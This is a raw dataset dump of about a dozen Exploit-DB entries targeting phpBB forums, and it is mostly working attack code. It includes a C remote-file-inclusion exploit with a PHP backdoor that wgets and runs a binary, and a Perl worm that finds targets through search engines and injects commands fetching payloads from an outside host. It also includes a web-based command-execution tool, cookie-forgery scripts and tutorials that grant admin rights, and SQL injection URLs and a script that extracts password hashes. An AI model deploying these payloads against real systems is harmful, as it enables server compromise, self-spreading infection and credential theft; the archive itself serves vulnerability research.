deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37551
Description: phpBB - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-07-28
Author: HauntIT

Exploit:
source: https://www.securityfocus.com/bid/54734/info

phpBB is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

phpBB 3.0.10 is vulnerable; other versions may also be affected. 

Request :

---
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174
Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid=
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Connection: close

viewemail=1
&massemail=1
&allowpm=1
&hideonline=0
&notifypm=1
&popuppm=0
&lang=en
&style=%2b[PII_REDACTED]
&tz=0
&dst=0
&dateoptions=D+M+d%2C+Y+g%3Ai+a
&dateformat=D+M+d%2C+Y+g%3Ai+a
&submit=Submit
&creation_time=[PII_REDACTED]
&form_token=576...
Exploit-DB #676
Description: phpBB 1.0.0/2.0.10 - 'admin_cash.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2004-12-05
Author: evilrabbi

Exploit:
/*
 exploit for phpBB 1.0.0 - 2.0.10
 
 edit the b4b0.php file with the correct url to your backdoor and the correct filename for your backdoor upload it to a webserver.

 gcc -o b4b0-phpbb b4b0-phpbb.c

./b4b0-phpbb <url_to_system> <phpbb_dir> <url_to_b4b0.php>
telnet <url_of_exploited_system> <port_of_back_door>

greets to b4b0 

	-- evilrabbi
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {

        struct sockaddr_in trg;
        struct hostent *he;

        int sockfd, buff;
	char buffer[1024];
	char *request;

	if(argc != 4 ) {
		help(argv[0]);
		exit(0);
	} 
 
        he = gethostbyname(argv[1]);
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
	request = (char *) malloc(1024);

        trg.sin_family = AF_INET;
        trg.sin_port = htons(80);
        trg.sin_addr = *((struct in_addr *) he->h_addr);
        memset(&(trg.sin_zero), '\0', 8);
	
	connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr));
	sprintf(request,"GET http://%s/%s/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://%s?cmd=w\n",argv[1],argv[2],argv[3]);
	send(sockfd,request,strlen(request),0);
	buff=recv(sockfd, buffer, 1024-1, 0);
	buffer[buff] = '\0';
	printf("%s",buffer);
	close(sockfd);
	return 0;

}

void help(char *program_name) {

	printf("b4b0-phpbb.c by evilrabbi for b4b0\n\n");
	printf("%s hostname phpbb2_dir url_to_bad_php\n",program_name);
	printf("%s www.example.com phpBB2 blah.com/b4b0.php.php\n",program_name);
}


/* Start of b4b0.php */

/*

b4b0 kickin ass again.......
System was exploited telnet to the port you have your backdoor set to listen on.
<?
 if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
   system("cd /tmp; wget url_to_backdoor;chmod +x backdoor_name;./backdoor_name"); // EDIT THIS INFO!!!!!!!!!!!!!
   $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>

*/

// milw0rm.com [2004-12-05]
Exploit-DB #21046
Description: phpBB 1.4 - SQL Query Manipulation
Type: webapps
Platform: php
Date: 2001-08-03
Author: kill-9

Exploit:
source: https://www.securityfocus.com/bid/3142/info

phpBB is free, open-source, easy-to-use web forums software.

An issue exists in phpBB which allows a remote attacker to manipulate SQL queries in such a way as to gain an administrative account with the service.

This problem is due to improper validation of user-supplied input by certain variables in phpBB. This issue can be exploited by making a cleverly crafted web request that contains arbitrary user-supplied replacement values.

One consequence of successful exploitation is that the attacker will be privy to user information. 

http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23

Summary:

1. Register an account on a phpBB board version
1.4.x .
2. Enter above URL with the correct sitename
and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of
the page.
Exploit-DB #25451
Description: phpBB 1.x/2.0.x - Knowledge Base Module 'KB.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-13
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13219/info

Knowledge Base Module is affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0
Exploit-DB #23866
Description: phpBB 1.x/2.0.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2004-03-22
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9942/info

It has been reported that phpBB may be prone to multiple vulnerabilities that could allow an attacker to carry out SQL injection and cross-site scripting attacks. These vulnerabilities result from insufficient sanitization of user-supplied input via the 'id' parameter of 'admin_smilies.php' module and the 'style_id' parameter of 'admin_styles' module.

phpBB versions 2.0.7a and prior are reported to be prone to these issues.

admin_smilies.php?mode=edit&id=[SQL]
admin_smilies.php?mode=delete&id=[SQL]
admin_smilies.php?mode=edit&id=[XSS]
admin_smilies.php?mode=delete&id=[XSS]
admin_styles.php?mode=edit&style_id=[SQL]
admin_styles.php?mode=delete&style_id=[SQL]
admin_styles.php?mode=edit&style_id=[XSS]
admin_styles.php?mode=delete&style_id=[XSS]
Exploit-DB #740
Description: phpBB 2.0.10 - 'ssh.D.Worm' Bot Install Altavista
Type: webapps
Platform: php
Date: 2005-01-04
Author: Severino Honorato

Exploit:
#!/usr/bin/perl

################################################################################
#  ------------------------------------------------------------------------    #
#  Severino Honorato - /server irc.priv8crew.info #Priv8crew - ssh.D.Worm      #
#                                                                              #
################################################################################


use IO::Socket;
use LWP::Simple;
my $processo = "/usr/local/apache/bin/httpd -DSSL";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";

$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

while(1){
@vul = "";
$a=0;
$numero = int rand(999);
$procura = "topic.php?t=$numero";

######################################
for($n=0;$n<1111;$n += 10){

  @cade = get("http://www.altavista.com/web/results?itag=wrx&q=$procura&kgs=1&kls=0&stq=$n") or next;
  $ae = "@cade";
  #print $ae;
  while ($ae=~ m/<a class=\'res\' href=\'.*?\'>/){
    $ae=~ s/<a class=\'res\' href=\'(.*?)\'>/$1/;
    $uber=$1;

    $uber =~ s/ //g;
    $uber =~ s/<b>//g;
    $uber =~ s/<\/b>//g;
    $uber =~ s/<wbr>//g;

    if ($uber =~/&/){
      $nu = index $uber, '&';
      $uber = substr($uber,0,$nu);
    }
    $vul[$a] = $uber;
    $a++
  }
}

#########################


$cmd = "&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd /tmp;wget 
atlasol.com/.zk/sess_189f0f[PII_REDACTED]a4de5485dd611111;wget atlasol.com/.zk/sess_189f0f[PII_REDACTED]a4de5485dd611112;perl 
sess_189f0f[PII_REDACTED]a4de5485dd611112;rm sess_189f0f[PII_REDACTED]a4de5485dd611112;perl 
sess_189f0f[PII_REDACTED]a4de5485dd611111;rm 
sess_189f0f[PII_REDACTED]a4de5485dd611111%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';";

$b = scalar(@vul);

for($a=0;$a<=$b;$a++)
{
$sitevul = $vul[$a] . $cmd;
if($sitevul !~/http/){ $sitevul = 'http://' . $sitevul; }

$teste1 = get($sitevul) or next;
$teste1 = "";
}
}

# milw0rm.com [2005-01-04]
Exploit-DB #673
Description: phpBB 2.0.10 - Remote Command Execution (CGI)
Type: webapps
Platform: php
Date: 2004-12-03
Author: ZzagorR

Exploit:
#!/usr/bin/perl

#wphpbb.cgi 
#hack service:)
#http://site/cgi-bin/wphpbb.cgi

use CGI qw(:standard); 
$CGI::HEADERS_ONCE = 1; 
$CGI = new CGI; 

$atak = $CGI->param("atak"); 
$serv = $CGI->param("serv");
$dir = $CGI->param("dir"); 
$topic = $CGI->param("topic"); 
$cmd = $CGI->param("cmd"); 

print $CGI->header(-type=>'text/html',-charset=>'windows-1254'); 
print qq~<html><head> <meta http-equiv=Content-Type" content=text/html; charset=ISO-8859-9><title>phpBB HACK</title></head> 
<body bgcolor=black text=red>phpBB atak webscript<br>
<font color=blue>exploit:by RusH security team // www.rst.void.ru<br>
exploit update:ZzagorR</font><br>
<table align=left><tr>
<form action=? method=post>
<input type=hidden name=atak value=phpbb>
<td>Site: </td><td><input type=text name=serv value=$serv size=50><br><font color=blue>example: www.site.com</font></td></tr>
<tr><td>Klasor: </td><td><input type=text name=dir value=$dir size=50><br><font color=blue>example: /phpBB2/</font></td></tr>
<tr><td>TopicNo: </td><td><input type=text name=topic value=$topic size=10><br><font color=blue>example: 1</font></td></tr>
<tr><td>Komut: </td><td><input type=text name=cmd value=$cmd size=100><br><font color=blue>example: id</font></td></tr>
<tr><td colspan=2 align=center><input type=submit value="Test"></td></tr>~; 

if($atak eq "phpbb") { 



$serv =~ s/(http:\/\/)//eg;
print "<tr><td valign=top colspan=2><font color=white> Sonuclar</font></td></tr>"; 
$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';
use IO::Socket;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
$on = 0;
while ($answer = <$socket>)
 {
  if ($answer =~ /^_END_/) { print "<tr><td colspan=2 valign=top><font color=white>Islem Sonu</font></td></tr>\r\n"; exit(); }
  if ($on == 1) { print "<tr><td colspan=2 valign=top>$answer</td></tr>"; }
  if ($answer =~ /^_START_/) { $on = 1; }
 }


print "[-] EXPLOIT BASARISIZ\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}

print "</table></body></html>";

# milw0rm.com [2004-12-03]
Exploit-DB #889
Description: phpBB 2.0.12 - Change User Rights Authentication Bypass
Type: webapps
Platform: php
Date: 2005-03-21
Author: Kutas

Exploit:
#!/usr/bin/perl -w

# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable 
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
 
#   by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...

if (@ARGV < 3)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)] 
 i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );   
 exit;
 } 
use strict;
use LWP::UserAgent;

my $host  = $ARGV[0];
my $path  = $ARGV[1];
my $user  = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";
$request .= $host;
$request .= $path; 
 

use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/",$host,,,,,);
if ( defined $proxy) {
	$proxy =~ s/(http:\/\/)//eg;
	$browser->proxy("http" , "http://$proxy");
 }
 print "++++++++++++++++++++++++++++++++++++\n";
 print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}

my $response = $browser->get($request);
die "Error: ", $response->status_line
 unless $response->is_success;
 
if($response->content =~ m/phpbbprivmsg/) {
  print "\n   Forum is vulnerable!!!\n";
} else {
  print "Sorry... Not vulnerable"; exit();}

print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";
$response->content =~ /sid=([\w\d]*)/;
my $sid = $1;

$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
  $request,
  [
    'username'  => $user,
    'mode' => 'edit',
    'mode' => 'user',
    'submituser' => 'Look+up+User'
  ],
);
die "Error: ", $response->status_line
 unless $response->is_success;

if ($response->content =~ /name="u" value="([\d]*)"/) 
	{print "   Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
   else {print "No user $user found..."; exit(); }	
my $uid = $1;
print "Trying to give user:$user admin status...\n";

$response = $browser->post(
  $request,
  [
    'userlevel'  => 'admin',
    'mode' => 'user',
    'adv'=>'',
    'u'=> $uid,
    'submit'=> 'Submit'
  ],
);
die "Error: ", $response->status_line
 unless $response->is_success;
print "   Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";

# milw0rm.com [2005-03-21]
Exploit-DB #897
Description: phpBB 2.0.12 - Change User Rights Authentication Bypass
Type: webapps
Platform: php
Date: 2005-03-24
Author: str0ke

Exploit:
/* Paisterist's code was nice but heres mil's version.
 * precompiled: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/897.rar
 * Usage: 
 * bcc32 897.cpp
 * and place the exe in your firefox profile dir.
 * Usually C:\Documents and Settings\Application Data\Mozilla\Firefox\Profiles\something.default
 * Visit a site with phpbb, close the browser, double click the exe, browse site.
 * This gives anonymous users administrator rights only.
 * Ya its lame im bored kthnx. If something goes wrong clear cookies.
 * 
 * /str0ke
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//Taken from VeNoMouS's love cow code
char *search_and_replace (char *text, char *find, char *replace)
{
char *found,*new_text;
int
len_find=strlen(find),len_replace=strlen(replace),len_text=strlen(text),i=0,j=0;

if((new_text=(char*)malloc(len_text+len_replace-len_find+1))==NULL)
       {
       printf("malloc issue...\n");
       return new_text;
       }
found = strstr(text, find);
while (i <= len_text)
{
if ( found != text + i )
       {
       new_text[j] = text[i];
       i++;
       j++;
       }
       else
       {
           strcat (new_text, replace);
           i += len_find;
           j += len_replace;
           found = strstr (text + i, find);
       }
       new_text[j] = '\0';
}
return new_text;
}

int main()
{
  FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( "cookies.txt" , "r" );
  if (pFile==NULL) exit (1);

  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);
  fread (buffer,1,lSize,pFile);
  fclose (pFile);

  pFile = fopen ( "cookies.txt" , "w" );
  fputs(search_and_replace((char *)buffer,"a%3A0%3A%7B%7D","a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"), pFile);
  fclose (pFile);
  free (buffer);
  return 0;

}

// milw0rm.com [2005-03-24]
Exploit-DB #871
Description: phpBB 2.0.12 - Session Handling Authentication Bypass
Type: webapps
Platform: php
Date: 2005-03-11
Author: Ali7

Exploit:
phpBB 2.0.12 Session Handling Authentication Bypass ..
 
easy to use exploit ..
 
** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..
 
1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:
 
3- Close the Browser ..
 
2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example ;)
 
and you will find something like :
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE[PII_REDACTED] phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
where 127.0.0.1 is the domain for the forum << tested on localhost
and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor
 
3- ok..let's do it !! ..
now open cookies.txt with your text editor
and replace
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE[PII_REDACTED] phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
with
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE[PII_REDACTED] phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
---------------------------------------------------------------------------------------------------------------//
 
save the cookies.txt..
 
4- Open your Browser..and go to the exploited forum ..
>>enjoy Hi Permission mode !! :D
 
complete the mission by clicking " Go to Administration Panel "
 
--------------------------------------------------------------------------------
 
written by : Ali7
e-mail : ali7@hotmail.co.uk

# milw0rm.com [2005-03-11]
Exploit-DB #858
Description: phpBB 2.0.12 - Session Handling Authentication Bypass (tutorial)
Type: webapps
Platform: php
Date: 2005-03-05
Author: PPC

Exploit:
1. Register at forum?

2. Log in with account
  + UNCHECK "Log in automatically"

3. Close browser to be sure a cookie is made.

4. Locate cookie
    *firefox: X:\Documents and Settings\Name\Application
     Data\Mozilla\Firefox\Profiles\profile.default\cookies.txt
     --> search the .txt for the domainname (domain.tld)
     --> default cookiename = phpbbmysql
    *iexplorer: X:\Documents and Settings\Name\Cookies\Name@domain.tld
     --> default cookiename = phpbbmysql

Let's Xploit!
________________

Open the cookie in a text editor and search a line that resembles:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

       a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3B
       s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D

                                         |
                  [ your 'user id' ] ____|

Replace this with:

       a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B
       s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

                                         |
          [ 2 = 'user id' of admin ] ____|

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Save cookie and close.
Open your browser and surf to forum.

You'll now be automatically logged in having admin right :)

# milw0rm.com [2005-03-05]
Exploit-DB #910
Description: phpBB 2.0.13 - 'Calendar Pro' mod Get Hash
Type: webapps
Platform: php
Date: 2005-04-04
Author: CereBrums

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

##    Example:
##    C:\>cal_phpbb.pl www.site.com /phpBB2/ 2
##
##    'Calendar Pro' Mod for phpBB
##    *************************
##      [~] Connecting...
##      [+] Connected!
##      [~] Sending Data...
##      [~] Data Sent, Waiting for response...
##      [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV < 3)
{
print "\n\n";
print "|****************************************************************|\n";
print " 'Calendar Pro' Mod <= 2.0.33 (Newest version) For phpBB\n";
print " Bug found by Axl\n";
print " Coded by CereBrums // 4/4/2005\n";
print " Usage: cal_phpbb.pl <server> <folder> <user_id>\n";
print " e.g.: cal_phpbb.pl www.site.com /phpBB2/ 2 \n";
print " [~] <server> - site address\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 is default for phpBB admin) \n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$take = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print "\n 'Calendar Pro' Mod for phpBB\n";
print " *****************************\n";
print "  [~] Connecting...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";

print "  [+] Connected!\n";
print "  [~] Sending Data...\n";

$path = "http://$server/";
$path .= "/$folder/";
$path .= "cal_view_month.php?month=04&year=2005&category=-1%20UNION%20SELECT%20user_password%20FROM%20phpbb_users%20where%20user_id=$user_id/*";
print $socket "GET $path HTTP/1.0\r\n\r\n";

print "  [~] Data Sent, Waiting for response...\n";

while ($answer = <$socket>)
{
       if ($take == 1) {
               $in = rindex ($answer, "(");
               if ( $in > -1 ) {
                       $pass = substr($answer,$in+1,32);
                       print "  [+] MD5 Hash for user with id=$user_id is: $pass\n";
                       exit();
               }
       }
       if ( rindex ($answer,"cal_view_month.php?month=3&year=2005") > -1 ) {
               $take = 1;
       }
}
print "  [-] Exploit failed\n";

#### EOF ####

# milw0rm.com [2005-04-04]